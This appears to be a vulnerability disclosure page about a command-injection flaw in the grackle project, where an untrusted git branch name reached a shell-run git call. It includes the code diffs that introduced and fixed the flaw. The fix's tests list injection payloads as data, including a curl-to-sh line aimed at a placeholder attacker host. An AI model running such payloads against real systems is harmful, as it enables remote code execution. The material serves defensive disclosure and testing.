Root cause
Injection & unsafe execution introduced
Phase A: Git worktree isolation + all Stage 2 proto definitions
How AI contributed: Direct introductionPublished Jul 2, 2026 in
nick-pape/grackleAll 2 findings in this repository
Command/argument injection (CWE-78) enabling RCE on provisioned hosts: the git worktree executor runs 'git' via a shell (const shell = process.env.SHELL || true; execRaw('git', args, { ...opts, shell })) so args are concatenated into sh -c with no escaping, and the untrusted task branch name flows unsanitized into ['worktree','add','-b', branch, wtPath] (and the bare trailing-positional fallback without a '--' terminator). A caller reaching the PowerLine SpawnSession RPC can execute arbitrary commands as the PowerLine user on every provisioned environment.
Root cause
Phase A: Git worktree isolation + all Stage 2 proto definitions
Fix
fix: command injection via git branch name (GHSA-vv65) (#1353)
Fix by Nick Pape · no AI marker found
Case facts
@@ -0,0 +1,65 @@+import { execFile } from "node:child_process";+import { promisify } from "node:util";+import { existsSync } from "node:fs";+import { resolve, dirname } from "node:path";++const exec = promisify(execFile);++export interface WorktreeResult {+ worktreePath: string;+ branch: string;+ created: boolean;+}++function sanitizeBranch(branch: string): string {+ return branch.replace(/[^a-zA-Z0-9/_-]/g, "-");+}++function worktreeDir(basePath: string, branch: string): string {+ const sanitized = sanitizeBranch(branch).replace(/\//g, "-");+ const parent = dirname(basePath);+ return resolve(parent, ".grackle-worktrees", sanitized);+}++export async function ensureWorktree(basePath: string, branch: string): Promise<WorktreeResult> {+ const wtPath = worktreeDir(basePath, branch);++ if (existsSync(wtPath)) {+ return { worktreePath: wtPath, branch, created: false };+ }++ // Try creating a new branch worktree first+ try {+ await exec("git", ["worktree", "add", "-b", branch, wtPath], { cwd: basePath });+ return { worktreePath: wtPath, branch, created: true };+ } catch {+ // Branch may already exist — try without -b+ try {+ await exec("git", ["worktree", "add", wtPath, branch], { cwd: basePath });+ return { worktreePath: wtPath, branch, created: true };+ } catch (err) {+ throw new Error(`Failed to create worktree for branch ${branch}: ${err}`);+ }+ }+}++export async function removeWorktree(basePath: string, branch: string): Promise<void> {+ const wtPath = worktreeDir(basePath, branch);+ try {+ await exec("git", ["worktree", "remove", wtPath, "--force"], { cwd: basePath });+ } catch {+ // Already removed or doesn't exist — that's fine+ }+}++export async function listWorktrees(basePath: string): Promise<string[]> {+ try {+ const { stdout } = await exec("git", ["worktree", "list", "--porcelain"], { cwd: basePath });+ return stdout+ .split("\n")+ .filter((line) => line.startsWith("worktree "))+ .map((line) => line.replace("worktree ", ""));+ } catch {+ return [];+ }+}@@ -2,6 +2,7 @@ import type { AgentRuntime, AgentSession, AgentEvent, SpawnOpts, ResumeOpts } fr import type { SessionStatus } from "@grackle/common"; import { AsyncQueue } from "../utils/async-queue.js"; import { existsSync, readdirSync } from "node:fs";+import { ensureWorktree } from "../worktree.js"; // Dynamic import — try @anthropic-ai/claude-agent-sdk first, then @anthropic-ai/claude-code type QueryFn = (opts: Record<string, unknown>) => Promise<unknown>;@@ -87,7 +88,10 @@ class ClaudeCodeSession implements AgentSession { private prompt: string, private model: string, private maxTurns: number,- private resumeSessionId?: string+ private resumeSessionId?: string,+ private branch?: string,+ private worktreeBasePath?: string,+ private systemContext?: string, ) { this.id = id; this.runtimeSessionId = resumeSessionId || "";@@ -100,16 +104,30 @@ class ClaudeCodeSession implements AgentSession { yield { type: "system", timestamp: ts(), content: "Starting Claude Code runtime..." }; try {- // Use /workspace as cwd if it exists and has content (i.e. a repo was cloned)- const workspacePath = "/workspace";- const useWorkspace = existsSync(workspacePath) &&- readdirSync(workspacePath).length > 0;+ // Determine cwd: worktree > /workspace > default+ let cwd: string | undefined;++ if (this.branch && this.worktreeBasePath) {+ const wt = await ensureWorktree(this.worktreeBasePath, this.branch);+ cwd = wt.worktreePath;+ yield { type: "system", timestamp: ts(), content: `Worktree ready: ${wt.worktreePath} (branch: ${this.branch}, created: ${wt.created})` };+ } else {+ const workspacePath = "/workspace";+ const useWorkspace = existsSync(workspacePath) &&+ readdirSync(workspacePath).length > 0;+ if (useWorkspace) cwd = workspacePath;+ }++ // Build final prompt with system context+ const finalPrompt = this.systemContext+ ? `${this.systemContext}\n\n---\n\n${this.prompt}`+ : this.prompt; const options: Record<string, unknown> = {- prompt: this.prompt,+ prompt: finalPrompt, model: this.model, abortController: new AbortController(),- ...(useWorkspace ? { cwd: workspacePath } : {}),+ ...(cwd ? { cwd } : {}), }; if (this.maxTurns > 0) {@@ -175,7 +193,16 @@ export class ClaudeCodeRuntime implements AgentRuntime { name = "claude-code"; spawn(opts: SpawnOpts): AgentSession {- return new ClaudeCodeSession(opts.sessionId, opts.prompt, opts.model, opts.maxTurns);+ return new ClaudeCodeSession(+ opts.sessionId,+ opts.prompt,+ opts.model,+ opts.maxTurns,+ undefined,+ opts.branch,+ opts.worktreeBasePath,+ opts.systemContext,+ ); } resume(opts: ResumeOpts): AgentSession {@@ -4,8 +4,13 @@ import { sidecar } from "@grackle/common"; import { getRuntime, listRuntimes } from "./runtime-registry.js"; import { addSession, getSession, listAllSessions } from "./session-mgr.js"; import { writeTokens } from "./token-writer.js";+import { removeWorktree } from "./worktree.js";+import { execFile } from "node:child_process";+import { promisify } from "node:util"; import os from "node:os"; +const execAsync = promisify(execFile);+ const startTime = Date.now(); export function registerSidecarRoutes(router: ConnectRouter): void {@@ -37,6 +42,11 @@ export function registerSidecarRoutes(router: ConnectRouter): void { prompt: req.prompt, model: req.model, maxTurns: req.maxTurns,+ branch: req.branch || undefined,+ worktreeBasePath: req.worktreeBasePath || undefined,+ systemContext: req.systemContext || undefined,+ projectId: req.projectId || undefined,+ taskId: req.taskId || undefined, }); addSession(session);@@ -123,5 +133,55 @@ export function registerSidecarRoutes(router: ConnectRouter): void { await writeTokens(req.tokens); return create(sidecar.EmptySchema, {}); },++ async cleanupWorktree(req) {+ if (req.branch && req.worktreeBasePath) {+ await removeWorktree(req.worktreeBasePath, req.branch);+ }+ return create(sidecar.EmptySchema, {});+ },++ async getDiff(req) {+ const baseBranch = req.baseBranch || "main";+ const basePath = req.worktreeBasePath || "/workspace";++ try {+ // Get the diff+ const { stdout: diff } = await execAsync(+ "git", ["diff", `${baseBranch}...${req.branch}`],+ { cwd: basePath, maxBuffer: 10 * 1024 * 1024 }+ );++ // Get changed files+ const { stdout: filesOut } = await execAsync(+ "git", ["diff", "--name-only", `${baseBranch}...${req.branch}`],+ { cwd: basePath }+ );+ const changedFiles = filesOut.trim().split("\n").filter(Boolean);++ // Get stat+ const { stdout: statOut } = await execAsync(+ "git", ["diff", "--stat", `${baseBranch}...${req.branch}`],+ { cwd: basePath }+ );+ const statMatch = statOut.match(/(\d+) insertion.+?(\d+) deletion/);+ const additions = statMatch ? parseInt(statMatch[1], 10) : 0;+ const deletions = statMatch ? parseInt(statMatch[2], 10) : 0;++ return create(sidecar.DiffResponseSchema, {+ diff,+ changedFiles,+ additions,+ deletions,+ });+ } catch (err) {+ return create(sidecar.DiffResponseSchema, {+ diff: `Error getting diff: ${err}`,+ changedFiles: [],+ additions: 0,+ deletions: 0,+ });+ }+ }, }); }@@ -9,6 +9,61 @@ const execRaw: typeof execFile.__promisify__ = promisify(execFile); /** Timeout for `git fetch origin` in milliseconds. */ const FETCH_TIMEOUT_MS: number = 30_000; +/** Maximum permitted length of a git branch name. */+const MAX_BRANCH_NAME_LENGTH: number = 255;++/**+ * Characters permitted in a git branch name: a strict allowlist that excludes+ * every shell metacharacter and whitespace. This is a superset of+ * {@link sanitizeBranch}'s charset — it additionally allows `.`, which is+ * valid in git refs (e.g. `release-1.2.3`) but which `sanitizeBranch` replaces+ * because it is producing a filesystem path rather than validating a ref.+ */+const VALID_BRANCH_NAME_PATTERN: RegExp = /^[A-Za-z0-9._/-]+$/;++/**+ * Validate that a branch name is safe to pass to the git CLI.+ *+ * This is a security control against command/argument injection+ * (GHSA-vv65): a branch name flows from an untrusted gRPC request into+ * `git worktree` invocations. Rather than silently rewriting the value (a+ * branch is a meaningful ref), this rejects anything outside a strict+ * allowlist so callers fail closed.+ *+ * @param branch - The branch name to validate.+ * @throws Error if the branch name is empty, too long, contains characters+ * outside `[A-Za-z0-9._/-]`, or violates git ref rules (leading `-` or `/`,+ * trailing `/`, a `..` sequence, or a trailing `.` / `.lock`).+ */+export function validateGitBranchName(branch: string): void {+ if (branch.length === 0) {+ throw new Error("Invalid branch name: must not be empty");+ }+ if (branch.length > MAX_BRANCH_NAME_LENGTH) {+ throw new Error(`Invalid branch name: exceeds ${MAX_BRANCH_NAME_LENGTH} characters`);+ }+ if (!VALID_BRANCH_NAME_PATTERN.test(branch)) {+ throw new Error(+ "Invalid branch name: only letters, digits, '.', '_', '/', and '-' are allowed",+ );+ }+ if (branch.startsWith("-")) {+ throw new Error("Invalid branch name: must not start with '-'");+ }+ if (branch.startsWith("/") || branch.endsWith("/")) {+ throw new Error("Invalid branch name: must not start or end with '/'");+ }+ if (branch.includes("..")) {+ throw new Error("Invalid branch name: must not contain '..'");+ }+ if (branch.endsWith(".lock")) {+ throw new Error("Invalid branch name: must not end with '.lock'");+ }+ if (branch.endsWith(".")) {+ throw new Error("Invalid branch name: must not end with '.'");+ }+}+ /** Abstraction over git command execution used by worktree operations. */ export interface GitExecutor { /** Run a git command and return stdout/stderr. */@@ -18,11 +73,15 @@ export interface GitExecutor { ): Promise<{ stdout: string; stderr: string }>; } -/** Default implementation that shells out to the real git binary. */+/** Default implementation that runs the real git binary. */ const NODE_GIT_EXECUTOR: GitExecutor = { async exec(args: string[], options: { cwd: string; timeout?: number }) {- const shell = process.env.SHELL || true;- const result = await execRaw("git", args, { ...options, shell });+ // NOTE: no `shell` option — execFile passes `args` directly to the git+ // process as an argv vector with no shell interpretation. Using a shell+ // here would concatenate the args into a string and allow command+ // injection via untrusted branch names (GHSA-vv65). `git` is a real+ // executable resolved from PATH, so no shell is needed on any platform.+ const result = await execRaw("git", args, options); return { stdout: String(result.stdout), stderr: String(result.stderr) }; }, };@@ -105,6 +164,9 @@ export async function ensureWorktree( git: GitExecutor = NODE_GIT_EXECUTOR, fileSystem: WorktreeFileSystem = NODE_WORKTREE_FILE_SYSTEM, ): Promise<WorktreeResult> {+ // Reject unsafe branch names before they reach the git CLI (GHSA-vv65).+ validateGitBranchName(branch);+ // Pre-check: verify basePath is a git repository try {@@ -5,9 +5,61 @@ vi.mock("./logger.js", () => ({ logger: { warn: vi.fn(), info: vi.fn() }, })); -import { sanitizeBranch, worktreeDir, ensureWorktree, removeWorktree } from "./worktree.js";+import {+ sanitizeBranch,+ worktreeDir,+ ensureWorktree,+ removeWorktree,+ validateGitBranchName,+} from "./worktree.js"; import type { GitExecutor, WorktreeFileSystem } from "./worktree.js"; +describe("validateGitBranchName", () => {+ it("accepts ordinary branch names", () => {+ expect(() => validateGitBranchName("main")).not.toThrow();+ expect(() => validateGitBranchName("feature/foo")).not.toThrow();+ expect(() => validateGitBranchName("release-1.2.3")).not.toThrow();+ expect(() => validateGitBranchName("nick-pape/149-agent_subtask")).not.toThrow();+ });++ it("rejects shell metacharacters (command injection — GHSA-vv65)", () => {+ const payloads = [+ "x;touch /tmp/PWNED",+ "x;curl http://attacker/x.sh|sh;#",+ "$(touch /tmp/pwned)",+ "`id`",+ "a|b",+ "a&b",+ "a>b",+ "a b", // whitespace+ "a$b",+ "a'b",+ 'a"b',+ ];+ for (const p of payloads) {+ expect(() => validateGitBranchName(p), p).toThrow(/Invalid branch name/);+ }+ });++ it("rejects argument injection (leading dash — F13)", () => {+ // All-allowlist-char inputs that start with '-' must hit the leading-dash rule.+ expect(() => validateGitBranchName("-rf")).toThrow(/must not start with '-'/);+ expect(() => validateGitBranchName("--force")).toThrow(/must not start with '-'/);+ // A dash-led flag carrying disallowed chars is still rejected (by the charset rule).+ expect(() => validateGitBranchName("--upload-pack=evil")).toThrow(/Invalid branch name/);+ });++ it("rejects git ref-rule violations", () => {+ expect(() => validateGitBranchName("")).toThrow(/must not be empty/);+ expect(() => validateGitBranchName("a..b")).toThrow(/must not contain '\.\.'/);+ expect(() => validateGitBranchName("/leading")).toThrow(/must not start or end with '\/'/);+ expect(() => validateGitBranchName("trailing/")).toThrow(/must not start or end with '\/'/);+ expect(() => validateGitBranchName("x.lock")).toThrow(/must not end with '\.lock'/);+ expect(() => validateGitBranchName("x.")).toThrow(/must not end with '\.'/);+ expect(() => validateGitBranchName("a".repeat(256))).toThrow(/exceeds 255 characters/);+ });+});+ describe("sanitizeBranch", () => { it("preserves alphanumeric characters", () => { expect(sanitizeBranch("feature123")).toBe("feature123");@@ -167,6 +219,43 @@ describe("ensureWorktree", () => { expect(fetchCall).toBeUndefined(); }); + it("rejects a malicious branch name before invoking git (GHSA-vv65)", async () => {+ const git = createFakeGitExecutor({+ "rev-parse": { stdout: ".git" },+ status: { stdout: "" },+ fetch: { stdout: "" },+ worktree: { stdout: "" },+ });++ await expect(+ ensureWorktree("/repo", "x;touch /tmp/PWNED", git, createFakeFileSystem()),+ ).rejects.toThrow(/Invalid branch name/);++ // Nothing should have been handed to git — not even the rev-parse pre-check.+ expect(git.calls).toHaveLength(0);+ });++ it("terminates options with -- before the positional worktree path", async () => {+ const git = createFakeGitExecutor({+ "rev-parse": { stdout: ".git" },+ status: { stdout: "" },+ fetch: { stdout: "" },+ "symbolic-ref": { stdout: "refs/remotes/origin/main\n" },+ worktree: { stdout: "" },@@ -3,7 +3,7 @@ import type { AsyncQueue } from "./async-queue.js"; import { existsSync, readFileSync, readdirSync } from "node:fs"; import { execFile } from "node:child_process"; import { promisify } from "node:util";-import { ensureWorktree } from "./worktree.js";+import { ensureWorktree, validateGitBranchName } from "./worktree.js"; import { logger } from "./logger.js"; // ─── Injectable interfaces ──────────────────────────────────@@ -46,6 +46,8 @@ export const NODE_GIT_REPOSITORY: GitRepository = (() => { } }, async checkoutBranch(repoPath: string, branch: string): Promise<void> {+ // Reject unsafe branch names before they reach the git CLI (GHSA-vv65).+ validateGitBranchName(branch); try { // "--" prevents branch names starting with "-" from being interpreted as flags await execFileAsync("git", ["checkout", "--", branch], { cwd: repoPath });AI-assisted change c0450a3170458646b10986abde6217cc9edfe065983dd03618f8ec6d54c51067 · Fix 8a96923e6a440355a350892b097235b2f95f6b6856cb372a049a8ed096776845